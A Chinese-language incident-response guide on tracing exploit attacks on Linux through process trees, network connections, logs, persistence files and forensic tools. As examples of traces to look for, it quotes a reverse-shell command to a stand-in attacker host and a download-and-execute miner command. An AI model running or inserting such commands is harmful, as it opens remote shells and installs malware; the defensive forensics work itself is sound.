Linux系统遭受exploit攻击后,需要联动开展进程分析、网络流量追踪、日志审计、文件系统检查及工具辅助,从多个维度还原攻击路径、查明入侵入口并识别攻击手法,为系统恢复与加固提供依据,这就是Linux Exploit攻击的追踪溯源方法。
攻击者需要借助进程承载并执行恶意代码,因此可从父进程链、启动参数和关联文件入手分析,逐步查明攻击起点。
pstree -p进程间的派生关系由命令以树状结构呈现。攻击者注入的恶意进程,往往没有父进程(init进程除外),或者其父进程来自异常服务(如未知的systemd服务),应重点关注。ps -ef查看恶意进程的PPID(父进程ID),再通过ps -p <PPID>查看父进程信息。例如,若恶意进程/tmp/mine的父进程是java,需进一步检查该Java服务的启动脚本、依赖JAR包(如是否存在低版本log4j漏洞组件),确认是否因组件漏洞被利用。lsof -p <PID>文件、端口及路径,是核查恶意进程打开对象时的重点。例如,进程若打开了/tmp/mine.conf(可疑配置文件),或者连接了45.67.89.10:4444(C2服务器),这些信息可作为攻击线索。攻击者主要通过网络连接同受感染主机交互;分析异常连接与流量特征后,可以查明C2服务器、横向渗透目标以及数据泄露路径。
netstat -antp或ss -tulnp命令,筛选ESTABLISHED状态的异常连接(如非业务端口、陌生IP)。例如,若主机与45.67.89.10(境外IP)的4444端口保持连接,可能是挖矿木马的C2通信;若本地端口3306(MySQL)被外部IP连接,可能是数据库被爆破或横向渗透。tcpdump -i eth0 -w capture.pcap捕获可疑流量,通过Wireshark分析数据包负载。例如,若流量中包含SELECT * FROM users(SQL注入)、bash -i >& /dev/tcp/attacker_ip/4444 0>&1(反弹shell)等特征,可直接识别攻击手法。auditctl添加规则监控connect系统调用,例如auditctl -a always,exit -F arch=b64 -S connect -F success=1 -k network_connect,记录所有成功的网络连接,便于后续追溯异常连接。攻击者留下的操作痕迹会被系统与应用日志记录,通过日志分析能够整理攻击时间线,并识别暴力破解、漏洞利用等入侵手法。
/var/log/auth.log(Ubuntu)或/var/log/secure(CentOS),使用grep "Failed password" /var/log/auth.log | grep "$(date +%b %d)" | awk '{print $11}' | sort | uniq -c | sort -nr统计登录失败次数,提取频繁尝试的IP地址(如某IP在1小时内失败10次以上),判断是否为暴力破解;若有Accepted password记录,需核查该IP是否有合法登录权限。access.log,使用grep -E "(union.*select|cmd=|exec=)" /var/log/apache2/access.log检测SQL注入、命令注入尝试;检查框架日志(如Spring Boot的actuator.log),查看是否有未授权访问(如/actuator/env暴露环境变量)、敏感操作(如修改数据库配置)。history命令查看当前用户的命令历史,结合export HISTTIMEFORMAT="%F %T whoami "显示时间戳,还原攻击者执行的命令(如wget http://malicious.com/mine.sh -O /tmp/mine && chmod +x /tmp/mine)。需注意,攻击者可能删除history记录,需检查.bash_history的持久化文件。为了持续维持权限,攻击者通常会建立定时任务、启动项等持久化文件,或留下Web Shell、挖矿程序等恶意文件;检查文件系统可以定位这些痕迹。
crontab -l,系统级定时任务/etc/crontab、/etc/cron.hourly/、/etc/cron.daily/,重点关注新增或修改时间异常的任务(如最近1天修改的/etc/cron.hourly/update),分析任务内容是否包含恶意命令(如/tmp/mine.sh)。/etc/rc.local(系统启动脚本)、/etc/profile.d/(用户环境变量脚本)、/etc/init.d/(传统服务启动脚本),其中新增的启动程序是否可疑需要核查(如/usr/local/bin/myservice)。find可疑文件能由命令依据路径、权限和时间进行筛选。例如:find /tmp -mtime -1 -type f -executable -ls:用于查找/tmp目录内在24小时内出现的可执行文件,攻击者经常使用/tmp保存临时恶意文件);find / -perm 777 -type f -ls:危险文件若允许全用户执行、读写,则需查找出来(如恶意脚本);grep -r -E "(system(|eval(|base64_decode)" /var/www/html/:用于查找Web目录中含有可疑函数(如system执行命令以及eval文件可执行代码,例如Web Shell。专用工具能够支持自动化分析和深度检测,从而提高溯源效率。
lsof(检查进程打开的文件和端口)、strace(跟踪进程的系统调用,如strace -p <PID>检查进程执行的全部系统调用)、tcpdump(捕获网络数据包)、Wireshark(解析流量内容)。GoAccess(实时可视化Web日志)、Logstash+Elasticsearch(集中保存和检索日志)、Suricata(识别DDoS、SQL注入等恶意流量)。VirusTotal(上传可疑文件,检测其是否属于恶意样本)、YARA(Web Shell与恶意代码可由规则匹配发现,如yara -r webshell_rules.yar /var/www/html/)。cp命令进行备份(如cp /tmp/mine /root/backup/mine_bak),防止清理完成后无法继续追查攻击源。yum update、apt upgrade),修复已知漏洞;关闭非必要端口(如netstat -tulnp | grep ":22"确认SSH端口是否开启),限制访问来源(如iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT仅允许内网访问SSH)。